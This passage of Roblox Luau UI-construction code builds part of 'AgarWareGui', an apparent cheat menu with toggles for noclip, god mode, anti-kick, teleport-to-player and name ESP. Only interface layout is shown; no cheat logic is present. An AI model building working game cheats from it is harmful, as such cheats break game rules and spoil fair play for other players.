G2L["5c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5c"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["5c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["5c"]["Text"] = [[]];
G2L["5c"]["Name"] = [[AntiKBTickBox]];
G2L["5c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKBRow.AntiKBText
G2L["5d"] = Instance.new("TextLabel", G2L["5b"]);
G2L["5d"]["BorderSizePixel"] = 0;
G2L["5d"]["TextSize"] = 14;
G2L["5d"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["5d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5d"]["BackgroundTransparency"] = 1;
G2L["5d"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["5d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5d"]["Text"] = [[Anti Knockback]];
G2L["5d"]["Name"] = [[AntiKBText]];
G2L["5d"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKickRow
G2L["5e"] = Instance.new("Frame", G2L["49"]);
G2L["5e"]["BorderSizePixel"] = 0;
G2L["5e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5e"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["5e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["5e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5e"]["Name"] = [[AntiKickRow]];
G2L["5e"]["LayoutOrder"] = 2;
G2L["5e"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKickRow.AntiKickTickBox
G2L["5f"] = Instance.new("TextButton", G2L["5e"]);
G2L["5f"]["TextSize"] = 14;
G2L["5f"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5f"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["5f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["5f"]["Text"] = [[]];
G2L["5f"]["Name"] = [[AntiKickTickBox]];
G2L["5f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKickRow.AntiKickText
G2L["60"] = Instance.new("TextLabel", G2L["5e"]);
G2L["60"]["BorderSizePixel"] = 0;
G2L["60"]["TextSize"] = 14;
G2L["60"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["60"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["60"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["60"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["60"]["BackgroundTransparency"] = 1;
G2L["60"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["60"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["60"]["Text"] = [[Anti Kick (Client)]];
G2L["60"]["Name"] = [[AntiKickText]];
G2L["60"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup
G2L["61"] = Instance.new("Frame", G2L["47"]);
G2L["61"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["61"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["61"]["Size"] = UDim2.new(0, 170, 0, 164);
G2L["61"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["61"]["Name"] = [[CharacterGroup]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.CharacterScript
G2L["62"] = Instance.new("LocalScript", G2L["61"]);
G2L["62"]["Name"] = [[CharacterScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.UIListLayout
G2L["63"] = Instance.new("UIListLayout", G2L["61"]);
G2L["63"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.CharacterAccentColor
G2L["64"] = Instance.new("Frame", G2L["61"]);
G2L["64"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["64"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["64"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["64"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["64"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["64"]["Name"] = [[CharacterAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.CharacterTitle
G2L["65"] = Instance.new("TextLabel", G2L["61"]);
G2L["65"]["TextWrapped"] = true;
G2L["65"]["BorderSizePixel"] = 0;
G2L["65"]["TextSize"] = 14;
G2L["65"]["TextScaled"] = true;
G2L["65"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["65"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["65"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["65"]["BackgroundTransparency"] = 0.95;
G2L["65"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["65"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["65"]["Text"] = [[Character]];
G2L["65"]["LayoutOrder"] = 1;
G2L["65"]["Name"] = [[CharacterTitle]];
G2L["65"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.CharacterTitle.CharacterMinimize
G2L["66"] = Instance.new("TextButton", G2L["65"]);
G2L["66"]["BorderSizePixel"] = 0;
G2L["66"]["TextSize"] = 14;
G2L["66"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["66"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["66"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["66"]["BackgroundTransparency"] = 1;
G2L["66"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["66"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["66"]["Text"] = [[-]];
G2L["66"]["Name"] = [[CharacterMinimize]];
G2L["66"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.NoclipRow
G2L["67"] = Instance.new("Frame", G2L["61"]);
G2L["67"]["BorderSizePixel"] = 0;
G2L["67"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["67"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["67"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["67"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["67"]["Name"] = [[NoclipRow]];
G2L["67"]["LayoutOrder"] = 3;
G2L["67"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.NoclipRow.NoclipTickBox
G2L["68"] = Instance.new("TextButton", G2L["67"]);
G2L["68"]["TextSize"] = 14;
G2L["68"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["68"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["68"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["68"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["68"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["68"]["Text"] = [[]];
G2L["68"]["Name"] = [[NoclipTickBox]];
G2L["68"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.NoclipRow.NoclipText
G2L["69"] = Instance.new("TextLabel", G2L["67"]);
G2L["69"]["BorderSizePixel"] = 0;
G2L["69"]["TextSize"] = 14;
G2L["69"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["69"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["69"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["69"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["69"]["BackgroundTransparency"] = 1;
G2L["69"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["69"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["69"]["Text"] = [[Noclip]];
G2L["69"]["Name"] = [[NoclipText]];
G2L["69"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.FreezeAnimRow
G2L["6a"] = Instance.new("Frame", G2L["61"]);
G2L["6a"]["BorderSizePixel"] = 0;
G2L["6a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["6a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["6a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6a"]["Name"] = [[FreezeAnimRow]];
G2L["6a"]["LayoutOrder"] = 3;
G2L["6a"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.FreezeAnimRow.FreezeAnimTickBox
G2L["6b"] = Instance.new("TextButton", G2L["6a"]);
G2L["6b"]["TextSize"] = 14;
G2L["6b"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6b"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["6b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["6b"]["Text"] = [[]];
G2L["6b"]["Name"] = [[FreezeAnimTickBox]];
G2L["6b"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.FreezeAnimRow.FreezeAnimText
G2L["6c"] = Instance.new("TextLabel", G2L["6a"]);
G2L["6c"]["BorderSizePixel"] = 0;
G2L["6c"]["TextSize"] = 14;
G2L["6c"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["6c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6c"]["BackgroundTransparency"] = 1;
G2L["6c"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["6c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6c"]["Text"] = [[Freeze Animation]];
G2L["6c"]["Name"] = [[FreezeAnimText]];
G2L["6c"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpSpawnRow
G2L["6d"] = Instance.new("Frame", G2L["61"]);
G2L["6d"]["BorderSizePixel"] = 0;
G2L["6d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6d"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["6d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["6d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6d"]["Name"] = [[TpSpawnRow]];
G2L["6d"]["LayoutOrder"] = 5;
G2L["6d"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpSpawnRow.TpSpawnButton
G2L["6e"] = Instance.new("TextButton", G2L["6d"]);
G2L["6e"]["TextSize"] = 14;
G2L["6e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["6e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6e"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["6e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["6e"]["Text"] = [[TP To Spawn]];
G2L["6e"]["Name"] = [[TpSpawnButton]];
G2L["6e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.GodModeRow
G2L["6f"] = Instance.new("Frame", G2L["61"]);
G2L["6f"]["BorderSizePixel"] = 0;
G2L["6f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["6f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["6f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6f"]["Name"] = [[GodModeRow]];
G2L["6f"]["LayoutOrder"] = 3;
G2L["6f"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.GodModeRow.GodModeTickBox
G2L["70"] = Instance.new("TextButton", G2L["6f"]);
G2L["70"]["TextSize"] = 14;
G2L["70"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["70"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["70"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["70"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["70"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["70"]["Text"] = [[]];
G2L["70"]["Name"] = [[GodModeTickBox]];
G2L["70"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.GodModeRow.GodModeText
G2L["71"] = Instance.new("TextLabel", G2L["6f"]);
G2L["71"]["BorderSizePixel"] = 0;
G2L["71"]["TextSize"] = 14;
G2L["71"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["71"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["71"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["71"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["71"]["BackgroundTransparency"] = 1;
G2L["71"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["71"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["71"]["Text"] = [[God Mode]];
G2L["71"]["Name"] = [[GodModeText]];
G2L["71"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow2
G2L["72"] = Instance.new("Frame", G2L["61"]);
G2L["72"]["BorderSizePixel"] = 0;
G2L["72"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["72"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["72"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["72"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["72"]["Name"] = [[TpPlayerRow2]];
G2L["72"]["LayoutOrder"] = 4;
G2L["72"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow2.TpPlayerButton
G2L["73"] = Instance.new("TextButton", G2L["72"]);
G2L["73"]["TextSize"] = 14;
G2L["73"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["73"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["73"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["73"]["Size"] = UDim2.new(0, 40, 0, 16);
G2L["73"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["73"]["Text"] = [[TP]];
G2L["73"]["Name"] = [[TpPlayerButton]];
G2L["73"]["Position"] = UDim2.new(0.73964, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow2.TpPlayerText
G2L["74"] = Instance.new("TextLabel", G2L["72"]);
G2L["74"]["BorderSizePixel"] = 0;
G2L["74"]["TextSize"] = 14;
G2L["74"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["74"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["74"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["74"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["74"]["BackgroundTransparency"] = 1;
G2L["74"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["74"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["74"]["Text"] = [[TP To Player:]];
G2L["74"]["Name"] = [[TpPlayerText]];
G2L["74"]["Position"] = UDim2.new(0.02367, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow1
G2L["75"] = Instance.new("Frame", G2L["61"]);
G2L["75"]["BorderSizePixel"] = 0;
G2L["75"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["75"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["75"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["75"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["75"]["Name"] = [[TpPlayerRow1]];
G2L["75"]["LayoutOrder"] = 4;
G2L["75"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow1.TpPlayerScript
G2L["76"] = Instance.new("LocalScript", G2L["75"]);
G2L["76"]["Name"] = [[TpPlayerScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow1.TpPlayerDropdown
G2L["77"] = Instance.new("TextButton", G2L["75"]);
G2L["77"]["TextTransparency"] = 1;
G2L["77"]["TextSize"] = 14;
G2L["77"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["77"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["77"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["77"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["77"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["77"]["Text"] = [[Dropdown]];
G2L["77"]["Name"] = [[TpPlayerDropdown]];
G2L["77"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.ResetRow
G2L["78"] = Instance.new("Frame", G2L["61"]);
G2L["78"]["BorderSizePixel"] = 0;
G2L["78"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["78"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["78"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["78"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["78"]["Name"] = [[ResetRow]];
G2L["78"]["LayoutOrder"] = 5;
G2L["78"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.ResetRow.ResetScript
G2L["79"] = Instance.new("LocalScript", G2L["78"]);
G2L["79"]["Name"] = [[ResetScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.ResetRow.ResetButton
G2L["7a"] = Instance.new("TextButton", G2L["78"]);
G2L["7a"]["TextSize"] = 14;
G2L["7a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7a"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["7a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7a"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["7a"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["7a"]["Text"] = [[Reset Character]];
G2L["7a"]["Name"] = [[ResetButton]];
G2L["7a"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage
G2L["7b"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["7b"]["Visible"] = false;
G2L["7b"]["Active"] = true;
G2L["7b"]["BorderSizePixel"] = 0;
G2L["7b"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0);
G2L["7b"]["Name"] = [[VisualPage]];
G2L["7b"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["7b"]["Size"] = UDim2.new(0, 349, 0, 250);
G2L["7b"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7b"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0);
G2L["7b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7b"]["ScrollBarThickness"] = 0;
G2L["7b"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide
G2L["7c"] = Instance.new("Frame", G2L["7b"]);
G2L["7c"]["BorderSizePixel"] = 0;
G2L["7c"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["7c"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["7c"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["7c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7c"]["Name"] = [[VisualLeftSide]];
G2L["7c"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.UIListLayout
G2L["7d"] = Instance.new("UIListLayout", G2L["7c"]);
G2L["7d"]["Padding"] = UDim.new(0, 7);
G2L["7d"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup
G2L["7e"] = Instance.new("Frame", G2L["7c"]);
G2L["7e"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["7e"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["7e"]["Size"] = UDim2.new(0, 170, 0, 103);
G2L["7e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["7e"]["Name"] = [[ESPGroup]];
G2L["7e"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPScript
G2L["7f"] = Instance.new("LocalScript", G2L["7e"]);
G2L["7f"]["Name"] = [[ESPScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.UIListLayout
G2L["80"] = Instance.new("UIListLayout", G2L["7e"]);
G2L["80"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPAccentColor
G2L["81"] = Instance.new("Frame", G2L["7e"]);
G2L["81"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["81"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["81"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["81"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["81"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["81"]["Name"] = [[ESPAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPTitle
G2L["82"] = Instance.new("TextLabel", G2L["7e"]);
G2L["82"]["TextWrapped"] = true;
G2L["82"]["BorderSizePixel"] = 0;
G2L["82"]["TextSize"] = 14;
G2L["82"]["TextScaled"] = true;
G2L["82"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["82"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["82"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["82"]["BackgroundTransparency"] = 0.95;
G2L["82"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["82"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["82"]["Text"] = [[ESP]];
G2L["82"]["LayoutOrder"] = 1;
G2L["82"]["Name"] = [[ESPTitle]];
G2L["82"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPTitle.ESPMinimize
G2L["83"] = Instance.new("TextButton", G2L["82"]);
G2L["83"]["BorderSizePixel"] = 0;
G2L["83"]["TextSize"] = 14;
G2L["83"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["83"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["83"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["83"]["BackgroundTransparency"] = 1;
G2L["83"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["83"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["83"]["Text"] = [[-]];
G2L["83"]["Name"] = [[ESPMinimize]];
G2L["83"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPNameRow
G2L["84"] = Instance.new("Frame", G2L["7e"]);
G2L["84"]["BorderSizePixel"] = 0;
G2L["84"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["84"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["84"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["84"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["84"]["Name"] = [[ESPNameRow]];
G2L["84"]["LayoutOrder"] = 2;
G2L["84"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPNameRow.ESPNameScript
G2L["85"] = Instance.new("LocalScript", G2L["84"]);
G2L["85"]["Name"] = [[ESPNameScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPNameRow.ESPNameTickBox
G2L["86"] = Instance.new("TextButton", G2L["84"]);
G2L["86"]["TextSize"] = 14;
G2L["86"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["86"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["86"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["86"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["86"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["86"]["Text"] = [[]];
G2L["86"]["Name"] = [[ESPNameTickBox]];
G2L["86"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPNameRow.ESPNameText
G2L["87"] = Instance.new("TextLabel", G2L["84"]);
G2L["87"]["BorderSizePixel"] = 0;
G2L["87"]["TextSize"] = 14;
G2L["87"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["87"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["87"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["87"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["87"]["BackgroundTransparency"] = 1;
G2L["87"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["87"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["87"]["Text"] = [[Name ESP]];
